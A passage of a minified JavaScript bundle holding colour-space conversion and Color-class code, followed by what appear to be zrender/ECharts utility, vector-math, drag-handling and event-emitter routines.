t=e[0]/100,n=e[1]/100,r=e[2]/100,i=e[3]/100,a=1-Math.min(1,t*(1-i)+i),o=1-Math.min(1,n*(1-i)+i),s=1-Math.min(1,r*(1-i)+i);return[a*255,o*255,s*255]},A.xyz.rgb=function(e){let t=e[0]/100,n=e[1]/100,r=e[2]/100,i,a,o;return i=t*3.2404542+n*-1.5371385+r*-.4985314,a=t*-.969266+n*1.8760108+r*.041556,o=t*.0556434+n*-.2040259+r*1.0572252,i=ee(i),a=ee(a),o=ee(o),[i*255,a*255,o*255]},A.xyz.lab=function(e){let t=e[0],n=e[1],r=e[2];return t/=95.047,n/=100,r/=108.883,t=t>j?t**(1/3):7.787*t+16/116,n=n>j?n**(1/3):7.787*n+16/116,r=r>j?r**(1/3):7.787*r+16/116,[116*n-16,500*(t-n),200*(n-r)]},A.xyz.oklab=function(e){let t=e[0]/100,n=e[1]/100,r=e[2]/100,i=Math.cbrt(.8189330101*t+.3618667424*n-.1288597137*r),a=Math.cbrt(.0329845436*t+.9293118715*n+.0361456387*r),o=Math.cbrt(.0482003018*t+.2643662691*n+.633851707*r),s=.2104542553*i+.793617785*a-.0040720468*o,c=1.9779984951*i-2.428592205*a+.4505937099*o,l=.0259040371*i+.7827717662*a-.808675766*o;return[s*100,c*100,l*100]},A.oklab.oklch=function(e){return A.lab.lch(e)},A.oklab.xyz=function(e){let t=e[0]/100,n=e[1]/100,r=e[2]/100,i=(.999999998*t+.396337792*n+.215803758*r)**3,a=(1.000000008*t-.105561342*n-.063854175*r)**3,o=(1.000000055*t-.089484182*n-1.291485538*r)**3,s=1.227013851*i-.55779998*a+.281256149*o,c=-.040580178*i+1.11225687*a-.071676679*o,l=-.076381285*i-.421481978*a+1.58616322*o;return[s*100,c*100,l*100]},A.oklab.rgb=function(e){let t=e[0]/100,n=e[1]/100,r=e[2]/100,i=(t+.3963377774*n+.2158037573*r)**3,a=(t-.1055613458*n-.0638541728*r)**3,o=(t-.0894841775*n-1.291485548*r)**3,s=ee(4.0767416621*i-3.3077115913*a+.2309699292*o),c=ee(-1.2684380046*i+2.6097574011*a-.3413193965*o),l=ee(-.0041960863*i-.7034186147*a+1.707614701*o);return[s*255,c*255,l*255]},A.oklch.oklab=function(e){return A.lch.lab(e)},A.lab.xyz=function(e){let t=e[0],n=e[1],r=e[2],i,a,o;a=(t+16)/116,i=n/500+a,o=a-r/200;let s=a**3,c=i**3,l=o**3;return a=s>j?s:(a-16/116)/7.787,i=c>j?c:(i-16/116)/7.787,o=l>j?l:(o-16/116)/7.787,i*=95.047,a*=100,o*=108.883,[i,a,o]},A.lab.lch=function(e){let t=e[0],n=e[1],r=e[2],i;return i=Math.atan2(r,n)*360/2/Math.PI,i<0&&(i+=360),[t,Math.sqrt(n*n+r*r),i]},A.lch.lab=function(e){let t=e[0],n=e[1],r=e[2]/360*2*Math.PI;return[t,n*Math.cos(r),n*Math.sin(r)]},A.rgb.ansi16=function(e,t=null){let[n,r,i]=e,a=t===null?A.rgb.hsv(e)[2]:t;if(a=Math.round(a/50),a===0)return 30;let o=30+(Math.round(i/255)<<2|Math.round(r/255)<<1|Math.round(n/255));return a===2&&(o+=60),o},A.hsv.ansi16=function(e){return A.rgb.ansi16(A.hsv.rgb(e),e[2])},A.rgb.ansi256=function(e){let t=e[0],n=e[1],r=e[2];return t>>4==n>>4&&n>>4==r>>4?t<8?16:t>248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/255*5)+6*Math.round(n/255*5)+Math.round(r/255*5)},A.ansi16.rgb=function(e){e=e[0];let t=e%10;if(t===0||t===7)return e>50&&(t+=3.5),t=t/10.5*255,[t,t,t];let n=(Math.trunc(e>50)+1)*.5;return[(t&1)*n*255,(t>>1&1)*n*255,(t>>2&1)*n*255]},A.ansi256.rgb=function(e){if(e=e[0],e>=232){let t=(e-232)*10+8;return[t,t,t]}e-=16;let t;return[Math.floor(e/36)/5*255,Math.floor((t=e%36)/6)/5*255,t%6/5*255]},A.rgb.hex=function(e){let t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return`000000`.slice(t.length)+t},A.hex.rgb=function(e){let t=e.toString(16).match(/[a-f\d]{6}|[a-f\d]{3}/i);if(!t)return[0,0,0];let n=t[0];t[0].length===3&&(n=[...n].map(e=>e+e).join(``));let r=Number.parseInt(n,16);return[r>>16&255,r>>8&255,r&255]},A.rgb.hcg=function(e){let t=e[0]/255,n=e[1]/255,r=e[2]/255,i=Math.max(Math.max(t,n),r),a=Math.min(Math.min(t,n),r),o=i-a,s,c=o<1?a/(1-o):0;return s=o<=0?0:i===t?(n-r)/o%6:i===n?2+(r-t)/o:4+(t-n)/o,s/=6,s%=1,[s*360,o*100,c*100]},A.hsl.hcg=function(e){let t=e[1]/100,n=e[2]/100,r=n<.5?2*t*n:2*t*(1-n),i=0;return r<1&&(i=(n-.5*r)/(1-r)),[e[0],r*100,i*100]},A.hsv.hcg=function(e){let t=e[1]/100,n=e[2]/100,r=t*n,i=0;return r<1&&(i=(n-r)/(1-r)),[e[0],r*100,i*100]},A.hcg.rgb=function(e){let t=e[0]/360,n=e[1]/100,r=e[2]/100;if(n===0)return[r*255,r*255,r*255];let i=[0,0,0],a=t%1*6,o=a%1,s=1-o,c=0;switch(Math.floor(a)){case 0:i[0]=1,i[1]=o,i[2]=0;break;case 1:i[0]=s,i[1]=1,i[2]=0;break;case 2:i[0]=0,i[1]=1,i[2]=o;break;case 3:i[0]=0,i[1]=s,i[2]=1;break;case 4:i[0]=o,i[1]=0,i[2]=1;break;default:i[0]=1,i[1]=0,i[2]=s}return c=(1-n)*r,[(n*i[0]+c)*255,(n*i[1]+c)*255,(n*i[2]+c)*255]},A.hcg.hsv=function(e){let t=e[1]/100,n=t+e[2]/100*(1-t),r=0;return n>0&&(r=t/n),[e[0],r*100,n*100]},A.hcg.hsl=function(e){let t=e[1]/100,n=e[2]/100*(1-t)+.5*t,r=0;return n>0&&n<.5?r=t/(2*n):n>=.5&&n<1&&(r=t/(2*(1-n))),[e[0],r*100,n*100]},A.hcg.hwb=function(e){let t=e[1]/100,n=t+e[2]/100*(1-t);return[e[0],(n-t)*100,(1-n)*100]},A.hwb.hcg=function(e){let t=e[1]/100,n=1-e[2]/100,r=n-t,i=0;return r<1&&(i=(n-r)/(1-r)),[e[0],r*100,i*100]},A.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},A.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},A.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},A.gray.hsl=function(e){return[0,0,e[0]]},A.gray.hsv=A.gray.hsl,A.gray.hwb=function(e){return[0,100,e[0]]},A.gray.cmyk=function(e){return[0,0,0,e[0]]},A.gray.lab=function(e){return[e[0],0,0]},A.gray.hex=function(e){let t=Math.round(e[0]/100*255)&255,n=((t<<16)+(t<<8)+t).toString(16).toUpperCase();return`000000`.slice(n.length)+n},A.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]};function ne(){let e={},t=Object.keys(A);for(let{length:n}=t,r=0;r<n;r++)e[t[r]]={distance:-1,parent:null};return e}function re(e){let t=ne(),n=[e];for(t[e].distance=0;n.length>0;){let e=n.pop(),r=Object.keys(A[e]);for(let{length:i}=r,a=0;a<i;a++){let i=r[a],o=t[i];o.distance===-1&&(o.distance=t[e].distance+1,o.parent=e,n.unshift(i))}}return t}function ie(e,t){return function(n){return t(e(n))}}function ae(e,t){let n=[t[e].parent,e],r=A[t[e].parent][e],i=t[e].parent;for(;t[i].parent;)n.unshift(t[i].parent),r=ie(A[t[i].parent][i],r),i=t[i].parent;return r.conversion=n,r}function oe(e){let t=re(e),n={},r=Object.keys(t);for(let{length:e}=r,i=0;i<e;i++){let e=r[i];t[e].parent!==null&&(n[e]=ae(e,t))}return n}var se={},ce=Object.keys(A);function le(e){let t=function(...t){let n=t[0];return n==null?n:(n.length>1&&(t=n),e(t))};return`conversion`in e&&(t.conversion=e.conversion),t}function ue(e){let t=function(...t){let n=t[0];if(n==null)return n;n.length>1&&(t=n);let r=e(t);if(typeof r==`object`)for(let{length:e}=r,t=0;t<e;t++)r[t]=Math.round(r[t]);return r};return`conversion`in e&&(t.conversion=e.conversion),t}for(let e of ce){se[e]={},Object.defineProperty(se[e],`channels`,{value:A[e].channels}),Object.defineProperty(se[e],`labels`,{value:A[e].labels});let t=oe(e),n=Object.keys(t);for(let r of n){let n=t[r];se[e][r]=ue(n),se[e][r].raw=le(n)}}var de=[`keyword`,`gray`,`hex`],fe={};for(let e of Object.keys(se))fe[[...se[e].labels].sort().join(``)]=e;var pe={};function me(e,t){if(!(this instanceof me))return new me(e,t);if(t&&t in de&&(t=null),t&&!(t in se))throw Error(`Unknown model: `+t);let n,r;if(e==null)this.model=`rgb`,this.color=[0,0,0],this.valpha=1;else if(e instanceof me)this.model=e.model,this.color=[...e.color],this.valpha=e.valpha;else if(typeof e==`string`){let t=E.get(e);if(t===null)throw Error(`Unable to parse color from string: `+e);this.model=t.model,r=se[this.model].channels,this.color=t.value.slice(0,r),this.valpha=typeof t.value[r]==`number`?t.value[r]:1}else if(e.length>0){this.model=t||`rgb`,r=se[this.model].channels;let n=Array.prototype.slice.call(e,0,r);this.color=be(n,r),this.valpha=typeof e[r]==`number`?e[r]:1}else if(typeof e==`number`)this.model=`rgb`,this.color=[e>>16&255,e>>8&255,e&255],this.valpha=1;else{this.valpha=1;let t=Object.keys(e);`alpha`in e&&(t.splice(t.indexOf(`alpha`),1),this.valpha=typeof e.alpha==`number`?e.alpha:0);let r=t.sort().join(``);if(!(r in fe))throw Error(`Unable to parse color from object: `+JSON.stringify(e));this.model=fe[r];let{labels:i}=se[this.model],a=[];for(n=0;n<i.length;n++)a.push(e[i[n]]);this.color=be(a)}if(pe[this.model])for(r=se[this.model].channels,n=0;n<r;n++){let e=pe[this.model][n];e&&(this.color[n]=e(this.color[n]))}this.valpha=Math.max(0,Math.min(1,this.valpha)),Object.freeze&&Object.freeze(this)}me.prototype={toString(){return this.string()},toJSON(){return this[this.model]()},string(e){let t=this.model in E.to?this:this.rgb();t=t.round(typeof e==`number`?e:1);let n=t.valpha===1?t.color:[...t.color,this.valpha];return E.to[t.model](...n)},percentString(e){let t=this.rgb().round(typeof e==`number`?e:1),n=t.valpha===1?t.color:[...t.color,this.valpha];return E.to.rgb.percent(...n)},array(){return this.valpha===1?[...this.color]:[...this.color,this.valpha]},object(){let e={},{channels:t}=se[this.model],{labels:n}=se[this.model];for(let r=0;r<t;r++)e[n[r]]=this.color[r];return this.valpha!==1&&(e.alpha=this.valpha),e},unitArray(){let e=this.rgb().color;return e[0]/=255,e[1]/=255,e[2]/=255,this.valpha!==1&&e.push(this.valpha),e},unitObject(){let e=this.rgb().object();return e.r/=255,e.g/=255,e.b/=255,this.valpha!==1&&(e.alpha=this.valpha),e},round(e){return e=Math.max(e||0,0),new me([...this.color.map(ge(e)),this.valpha],this.model)},alpha(e){return e===void 0?this.valpha:new me([...this.color,Math.max(0,Math.min(1,e))],this.model)},red:_e(`rgb`,0,ve(255)),green:_e(`rgb`,1,ve(255)),blue:_e(`rgb`,2,ve(255)),hue:_e([`hsl`,`hsv`,`hsl`,`hwb`,`hcg`],0,e=>(e%360+360)%360),saturationl:_e(`hsl`,1,ve(100)),lightness:_e(`hsl`,2,ve(100)),saturationv:_e(`hsv`,1,ve(100)),value:_e(`hsv`,2,ve(100)),chroma:_e(`hcg`,1,ve(100)),gray:_e(`hcg`,2,ve(100)),white:_e(`hwb`,1,ve(100)),wblack:_e(`hwb`,2,ve(100)),cyan:_e(`cmyk`,0,ve(100)),magenta:_e(`cmyk`,1,ve(100)),yellow:_e(`cmyk`,2,ve(100)),black:_e(`cmyk`,3,ve(100)),x:_e(`xyz`,0,ve(95.047)),y:_e(`xyz`,1,ve(100)),z:_e(`xyz`,2,ve(108.833)),l:_e(`lab`,0,ve(100)),a:_e(`lab`,1),b:_e(`lab`,2),keyword(e){return e===void 0?se[this.model].keyword(this.color):new me(e)},hex(e){return e===void 0?E.to.hex(...this.rgb().round().color):new me(e)},hexa(e){if(e!==void 0)return new me(e);let t=this.rgb().round().color,n=Math.round(this.valpha*255).toString(16).toUpperCase();return n.length===1&&(n=`0`+n),E.to.hex(...t)+n},rgbNumber(){let e=this.rgb().color;return(e[0]&255)<<16|(e[1]&255)<<8|e[2]&255},luminosity(){let e=this.rgb().color,t=[];for(let[n,r]of e.entries()){let e=r/255;t[n]=e<=.04045?e/12.92:((e+.055)/1.055)**2.4}return .2126*t[0]+.7152*t[1]+.0722*t[2]},contrast(e){let t=this.luminosity(),n=e.luminosity();return t>n?(t+.05)/(n+.05):(n+.05)/(t+.05)},level(e){let t=this.contrast(e);return t>=7?`AAA`:t>=4.5?`AA`:``},isDark(){let e=this.rgb().color;return(e[0]*2126+e[1]*7152+e[2]*722)/1e4<128},isLight(){return!this.isDark()},negate(){let e=this.rgb();for(let t=0;t<3;t++)e.color[t]=255-e.color[t];return e},lighten(e){let t=this.hsl();return t.color[2]+=t.color[2]*e,t},darken(e){let t=this.hsl();return t.color[2]-=t.color[2]*e,t},saturate(e){let t=this.hsl();return t.color[1]+=t.color[1]*e,t},desaturate(e){let t=this.hsl();return t.color[1]-=t.color[1]*e,t},whiten(e){let t=this.hwb();return t.color[1]+=t.color[1]*e,t},blacken(e){let t=this.hwb();return t.color[2]+=t.color[2]*e,t},grayscale(){let e=this.rgb().color,t=e[0]*.3+e[1]*.59+e[2]*.11;return me.rgb(t,t,t)},fade(e){return this.alpha(this.valpha-this.valpha*e)},opaquer(e){return this.alpha(this.valpha+this.valpha*e)},rotate(e){let t=this.hsl(),n=t.color[0];return n=(n+e)%360,n=n<0?360+n:n,t.color[0]=n,t},mix(e,t){if(!e||!e.rgb)throw Error(`Argument to "mix" was not a Color instance, but rather an instance of `+typeof e);let n=e.rgb(),r=this.rgb(),i=t===void 0?.5:t,a=2*i-1,o=n.alpha()-r.alpha(),s=((a*o===-1?a:(a+o)/(1+a*o))+1)/2,c=1-s;return me.rgb(s*n.red()+c*r.red(),s*n.green()+c*r.green(),s*n.blue()+c*r.blue(),n.alpha()*i+r.alpha()*(1-i))}};for(let e of Object.keys(se)){if(de.includes(e))continue;let{channels:t}=se[e];me.prototype[e]=function(...t){return this.model===e?new me(this):t.length>0?new me(t,e):new me([...ye(se[this.model][e].raw(this.color)),this.valpha],e)},me[e]=function(...n){let r=n[0];return typeof r==`number`&&(r=be(n,t)),new me(r,e)}}function he(e,t){return Number(e.toFixed(t))}function ge(e){return function(t){return he(t,e)}}function _e(e,t,n){e=Array.isArray(e)?e:[e];for(let r of e)(pe[r]||=[])[t]=n;return e=e[0],function(r){let i;return r===void 0?(i=this[e]().color[t],n&&(i=n(i)),i):(n&&(r=n(r)),i=this[e](),i.color[t]=r,i)}}function ve(e){return function(t){return Math.max(0,Math.min(e,t))}}function ye(e){return Array.isArray(e)?e:[e]}function be(e,t){for(let n=0;n<t;n++)typeof e[n]!=`number`&&(e[n]=0);return e}var xe=`#57606a`,Se=`#c9d1d9`,Ce=`#85b8e8`,we=`#ebedf0`,Te=`#21262d`;function Ee(e,t,n){let r=me(e).rgb().array(),i=me(t).rgb().array(),a=Math.round(r[0]+(i[0]-r[0])*n),o=Math.round(r[1]+(i[1]-r[1])*n),s=Math.round(r[2]+(i[2]-r[2])*n);return me.rgb(a,o,s).string()}var De=92,Oe=.2,ke=.1;function Ae(e){let t=me(e).lightness(De).saturate(ke),n=me(e).darken(Oe).saturate(ke),r=t.string(),i=n.string(),a=e=>Ee(r,i,e),o=[0,.25,.5,.75,1].map(e=>a(e));return{empty:o[0],low:o[1],"medium-low":o[2],"medium-high":o[3],high:o[4]}}var je=function(e,t){return je=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},je(e,t)};function N(e,t){if(typeof t!=`function`&&t!==null)throw TypeError(`Class extends value `+String(t)+` is not a constructor or null`);je(e,t);function n(){this.constructor=e}e.prototype=t===null?Object.create(t):(n.prototype=t.prototype,new n)}var Me=function(){function e(){this.firefox=!1,this.ie=!1,this.edge=!1,this.newEdge=!1,this.weChat=!1}return e}(),Ne=new(function(){function e(){this.browser=new Me,this.node=!1,this.wxa=!1,this.worker=!1,this.svgSupported=!1,this.touchEventsSupported=!1,this.pointerEventsSupported=!1,this.domSupported=!1,this.transformSupported=!1,this.transform3dSupported=!1,this.hasGlobalWindow=typeof window<`u`}return e}());typeof wx==`object`&&typeof wx.getSystemInfoSync==`function`?(Ne.wxa=!0,Ne.touchEventsSupported=!0):typeof document>`u`&&typeof self<`u`?Ne.worker=!0:!Ne.hasGlobalWindow||`Deno`in window||typeof navigator<`u`&&typeof navigator.userAgent==`string`&&navigator.userAgent.indexOf(`Node.js`)>-1?(Ne.node=!0,Ne.svgSupported=!0):Pe(navigator.userAgent,Ne);function Pe(e,t){var n=t.browser,r=e.match(/Firefox\/([\d.]+)/),i=e.match(/MSIE\s([\d.]+)/)||e.match(/Trident\/.+?rv:(([\d.]+))/),a=e.match(/Edge?\/([\d.]+)/),o=/micromessenger/i.test(e);if(r&&(n.firefox=!0,n.version=r[1]),i&&(n.ie=!0,n.version=i[1]),a&&(n.edge=!0,n.version=a[1],n.newEdge=+a[1].split(`.`)[0]>18),o&&(n.weChat=!0),t.svgSupported=typeof SVGRect<`u`,t.touchEventsSupported=`ontouchstart`in window&&!n.ie&&!n.edge,t.pointerEventsSupported=`onpointerdown`in window&&(n.edge||n.ie&&+n.version>=11),t.domSupported=typeof document<`u`){var s=document.documentElement.style;t.transform3dSupported=(n.ie&&`transition`in s||n.edge||`WebKitCSSMatrix`in window&&`m11`in new WebKitCSSMatrix||`MozPerspective`in s)&&!(`OTransition`in s),t.transformSupported=t.transform3dSupported||n.ie&&+n.version>=9}}var Fe=`12px sans-serif`,Ie=20,Le=100,Re=`007LLmW'55;N0500LLLLLLLLLL00NNNLzWW\\\\WQb\\0FWLg\\bWb\\WQ\\WrWWQ000CL5LLFLL0LL**F*gLLLL5F0LF\\FFF5.5N`;function ze(e){var t={};if(typeof JSON>`u`)return t;for(var n=0;n<e.length;n++){var r=String.fromCharCode(n+32);t[r]=(e.charCodeAt(n)-Ie)/Le}return t}var Be=ze(Re),Ve={createCanvas:function(){return typeof document<`u`&&document.createElement(`canvas`)},measureText:(function(){var e,t;return function(n,r){if(!e){var i=Ve.createCanvas();e=i&&i.getContext(`2d`)}if(e)return t!==r&&(t=e.font=r||`12px sans-serif`),e.measureText(n);n||=``,r||=`12px sans-serif`;var a=/((?:\d+)?\.?\d*)px/.exec(r),o=a&&+a[1]||12,s=0;if(r.indexOf(`mono`)>=0)s=o*n.length;else for(var c=0;c<n.length;c++){var l=Be[n[c]];s+=l==null?o:l*o}return{width:s}}})(),loadImage:function(e,t,n){var r=new Image;return r.onload=t,r.onerror=n,r.src=e,r}},He=ct([`Function`,`RegExp`,`Date`,`Error`,`CanvasGradient`,`CanvasPattern`,`Image`,`Canvas`],function(e,t){return e[`[object `+t+`]`]=!0,e},{}),Ue=ct([`Int8`,`Uint8`,`Uint8Clamped`,`Int16`,`Uint16`,`Int32`,`Uint32`,`Float32`,`Float64`],function(e,t){return e[`[object `+t+`Array]`]=!0,e},{}),We=Object.prototype.toString,Ge=Array.prototype,Ke=Ge.forEach,qe=Ge.filter,Je=Ge.slice,Ye=Ge.map,Xe=function(){}.constructor,Ze=Xe?Xe.prototype:null,Qe=`__proto__`,$e=2311;function et(){return $e++}function tt(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];typeof console<`u`&&console.error.apply(console,e)}function P(e){if(typeof e!=`object`||!e)return e;var t=e,n=We.call(e);if(n===`[object Array]`){if(!jt(e)){t=[];for(var r=0,i=e.length;r<i;r++)t[r]=P(e[r])}}else if(Ue[n]){if(!jt(e)){var a=e.constructor;if(a.from)t=a.from(e);else{t=new a(e.length);for(var r=0,i=e.length;r<i;r++)t[r]=e[r]}}}else if(!He[n]&&!jt(e)&&!vt(e))for(var o in t={},e)e.hasOwnProperty(o)&&o!==Qe&&(t[o]=P(e[o]));return t}function nt(e,t,n){if(!U(t)||!U(e))return n?P(t):e;for(var r in t)if(t.hasOwnProperty(r)&&r!==Qe){var i=e[r],a=t[r];U(a)&&U(i)&&!B(a)&&!B(i)&&!vt(a)&&!vt(i)&&!gt(a)&&!gt(i)&&!jt(a)&&!jt(i)?nt(i,a,n):(n||!(r in e))&&(e[r]=P(t[r]))}return e}function rt(e,t){for(var n=e[0],r=1,i=e.length;r<i;r++)n=nt(n,e[r],t);return n}function F(e,t){if(Object.assign)Object.assign(e,t);else for(var n in t)t.hasOwnProperty(n)&&n!==Qe&&(e[n]=t[n]);return e}function I(e,t,n){for(var r=dt(t),i=0,a=r.length;i<a;i++){var o=r[i];(n?t[o]!=null:e[o]==null)&&(e[o]=t[o])}return e}Ve.createCanvas;function it(e,t){if(e){if(e.indexOf)return e.indexOf(t);for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n}return-1}function at(e,t){var n=e.prototype;function r(){}for(var i in r.prototype=t.prototype,e.prototype=new r,n)n.hasOwnProperty(i)&&(e.prototype[i]=n[i]);e.prototype.constructor=e,e.superClass=t}function ot(e,t,n){if(e=`prototype`in e?e.prototype:e,t=`prototype`in t?t.prototype:t,Object.getOwnPropertyNames)for(var r=Object.getOwnPropertyNames(t),i=0;i<r.length;i++){var a=r[i];a!==`constructor`&&(n?t[a]!=null:e[a]==null)&&(e[a]=t[a])}else I(e,t,n)}function st(e){return!e||typeof e==`string`?!1:typeof e.length==`number`}function L(e,t,n){if(e&&t)if(e.forEach&&e.forEach===Ke)e.forEach(t,n);else if(e.length===+e.length)for(var r=0,i=e.length;r<i;r++)t.call(n,e[r],r,e);else for(var a in e)e.hasOwnProperty(a)&&t.call(n,e[a],a,e)}function R(e,t,n){if(!e)return[];if(!t)return Tt(e);if(e.map&&e.map===Ye)return e.map(t,n);for(var r=[],i=0,a=e.length;i<a;i++)r.push(t.call(n,e[i],i,e));return r}function ct(e,t,n,r){if(e&&t){for(var i=0,a=e.length;i<a;i++)n=t.call(r,n,e[i],i,e);return n}}function lt(e,t,n){if(!e)return[];if(!t)return Tt(e);if(e.filter&&e.filter===qe)return e.filter(t,n);for(var r=[],i=0,a=e.length;i<a;i++)t.call(n,e[i],i,e)&&r.push(e[i]);return r}function ut(e,t,n){if(e&&t){for(var r=0,i=e.length;r<i;r++)if(t.call(n,e[r],r,e))return e[r]}}function dt(e){if(!e)return[];if(Object.keys)return Object.keys(e);var t=[];for(var n in e)e.hasOwnProperty(n)&&t.push(n);return t}function ft(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return function(){return e.apply(t,n.concat(Je.call(arguments)))}}var z=Ze&&V(Ze.bind)?Ze.call.bind(Ze.bind):ft;function pt(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return function(){return e.apply(this,t.concat(Je.call(arguments)))}}function B(e){return Array.isArray?Array.isArray(e):We.call(e)===`[object Array]`}function V(e){return typeof e==`function`}function H(e){return typeof e==`string`}function mt(e){return We.call(e)===`[object String]`}function ht(e){return typeof e==`number`}function U(e){var t=typeof e;return t===`function`||!!e&&t===`object`}function gt(e){return!!He[We.call(e)]}function _t(e){return!!Ue[We.call(e)]}function vt(e){return typeof e==`object`&&typeof e.nodeType==`number`&&typeof e.ownerDocument==`object`}function yt(e){return e.colorStops!=null}function bt(e){return e.image!=null}function xt(e){return We.call(e)===`[object RegExp]`}function St(e){return e!==e}function Ct(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0,r=e.length;n<r;n++)if(e[n]!=null)return e[n]}function W(e,t){return e??t}function wt(e,t,n){return e??t??n}function Tt(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return Je.apply(e,t)}function Et(e){if(typeof e==`number`)return[e,e,e,e];var t=e.length;return t===2?[e[0],e[1],e[0],e[1]]:t===3?[e[0],e[1],e[2],e[1]]:e}function Dt(e,t){if(!e)throw Error(t)}function Ot(e){return e==null?null:typeof e.trim==`function`?e.trim():e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,``)}var kt=`__ec_primitive__`;function At(e){e[kt]=!0}function jt(e){return e[kt]}var Mt=function(){function e(){this.data={}}return e.prototype.delete=function(e){var t=this.has(e);return t&&delete this.data[e],t},e.prototype.has=function(e){return this.data.hasOwnProperty(e)},e.prototype.get=function(e){return this.data[e]},e.prototype.set=function(e,t){return this.data[e]=t,this},e.prototype.keys=function(){return dt(this.data)},e.prototype.forEach=function(e){var t=this.data;for(var n in t)t.hasOwnProperty(n)&&e(t[n],n)},e}(),Nt=typeof Map==`function`;function Pt(){return Nt?new Map:new Mt}var Ft=function(){function e(t){var n=B(t);this.data=Pt();var r=this;t instanceof e?t.each(i):t&&L(t,i);function i(e,t){n?r.set(e,t):r.set(t,e)}}return e.prototype.hasKey=function(e){return this.data.has(e)},e.prototype.get=function(e){return this.data.get(e)},e.prototype.set=function(e,t){return this.data.set(e,t),t},e.prototype.each=function(e,t){this.data.forEach(function(n,r){e.call(t,n,r)})},e.prototype.keys=function(){var e=this.data.keys();return Nt?Array.from(e):e},e.prototype.removeKey=function(e){this.data.delete(e)},e}();function G(e){return new Ft(e)}function It(e,t){for(var n=new e.constructor(e.length+t.length),r=0;r<e.length;r++)n[r]=e[r];for(var i=e.length,r=0;r<t.length;r++)n[r+i]=t[r];return n}function Lt(e,t){var n;if(Object.create)n=Object.create(e);else{var r=function(){};r.prototype=e,n=new r}return t&&F(n,t),n}function Rt(e){var t=e.style;t.webkitUserSelect=`none`,t.userSelect=`none`,t.webkitTapHighlightColor=`rgba(0,0,0,0)`,t[`-webkit-touch-callout`]=`none`}function K(e,t){return e.hasOwnProperty(t)}function zt(){}var Bt=180/Math.PI;function Vt(e,t){return e??=0,t??=0,[e,t]}function Ht(e,t){return e[0]=t[0],e[1]=t[1],e}function Ut(e){return[e[0],e[1]]}function Wt(e,t,n){return e[0]=t,e[1]=n,e}function Gt(e,t,n){return e[0]=t[0]+n[0],e[1]=t[1]+n[1],e}function Kt(e,t,n,r){return e[0]=t[0]+n[0]*r,e[1]=t[1]+n[1]*r,e}function qt(e,t,n){return e[0]=t[0]-n[0],e[1]=t[1]-n[1],e}function Jt(e){return Math.sqrt(Yt(e))}function Yt(e){return e[0]*e[0]+e[1]*e[1]}function Xt(e,t,n){return e[0]=t[0]*n,e[1]=t[1]*n,e}function Zt(e,t){var n=Jt(t);return n===0?(e[0]=0,e[1]=0):(e[0]=t[0]/n,e[1]=t[1]/n),e}function Qt(e,t){return Math.sqrt((e[0]-t[0])*(e[0]-t[0])+(e[1]-t[1])*(e[1]-t[1]))}var $t=Qt;function en(e,t){return(e[0]-t[0])*(e[0]-t[0])+(e[1]-t[1])*(e[1]-t[1])}var tn=en;function nn(e,t,n,r){return e[0]=t[0]+r*(n[0]-t[0]),e[1]=t[1]+r*(n[1]-t[1]),e}function rn(e,t,n){var r=t[0],i=t[1];return e[0]=n[0]*r+n[2]*i+n[4],e[1]=n[1]*r+n[3]*i+n[5],e}function an(e,t,n){return e[0]=Math.min(t[0],n[0]),e[1]=Math.min(t[1],n[1]),e}function on(e,t,n){return e[0]=Math.max(t[0],n[0]),e[1]=Math.max(t[1],n[1]),e}var sn=function(){function e(e,t){this.target=e,this.topTarget=t&&t.topTarget}return e}(),cn=function(){function e(e){this.handler=e,e.on(`mousedown`,this._dragStart,this),e.on(`mousemove`,this._drag,this),e.on(`mouseup`,this._dragEnd,this)}return e.prototype._dragStart=function(e){for(var t=e.target;t&&!t.draggable;)t=t.parent||t.__hostTarget;t&&(this._draggingTarget=t,t.dragging=!0,this._x=e.offsetX,this._y=e.offsetY,this.handler.dispatchToElement(new sn(t,e),`dragstart`,e.event))},e.prototype._drag=function(e){var t=this._draggingTarget;if(t){var n=e.offsetX,r=e.offsetY,i=n-this._x,a=r-this._y;this._x=n,this._y=r,t.drift(i,a,e),this.handler.dispatchToElement(new sn(t,e),`drag`,e.event);var o=this.handler.findHover(n,r,t).target,s=this._dropTarget;this._dropTarget=o,t!==o&&(s&&o!==s&&this.handler.dispatchToElement(new sn(s,e),`dragleave`,e.event),o&&o!==s&&this.handler.dispatchToElement(new sn(o,e),`dragenter`,e.event))}},e.prototype._dragEnd=function(e){var t=this._draggingTarget;t&&(t.dragging=!1),this.handler.dispatchToElement(new sn(t,e),`dragend`,e.event),this._dropTarget&&this.handler.dispatchToElement(new sn(this._dropTarget,e),`drop`,e.event),this._draggingTarget=null,this._dropTarget=null},e}(),ln=function(){function e(e){e&&(this._$eventProcessor=e)}return e.prototype.on=function(e,t,n,r){this._$handlers||={};var i=this._$handlers;if(typeof t==`function`&&(r=n,n=t,t=null),!n||!e)return this;var a=this._$eventProcessor;t!=null&&a&&a.normalizeQuery&&(t=a.normalizeQuery(t)),i[e]||(i[e]=[]);for(var o=0;o<i[e].length;o++)if(i[e][o].h===n)return this;var s={h:n,query:t,ctx:r||this,callAtLast:n.zrEventfulCallAtLast},c=i[e].length-1,l=i[e][c];return l&&l.callAtLast?i[e].splice(c,0,s):i[e].push(s),this},e.prototype.isSilent=function(e){var t=this._$handlers;return!t||!t[e]||!t[e].length},e.prototype.off=function(e,t){var n=this._$handlers;if(!n)return this;if(!e)return this._$handlers={},this;if(t){if(n[e]){for(var 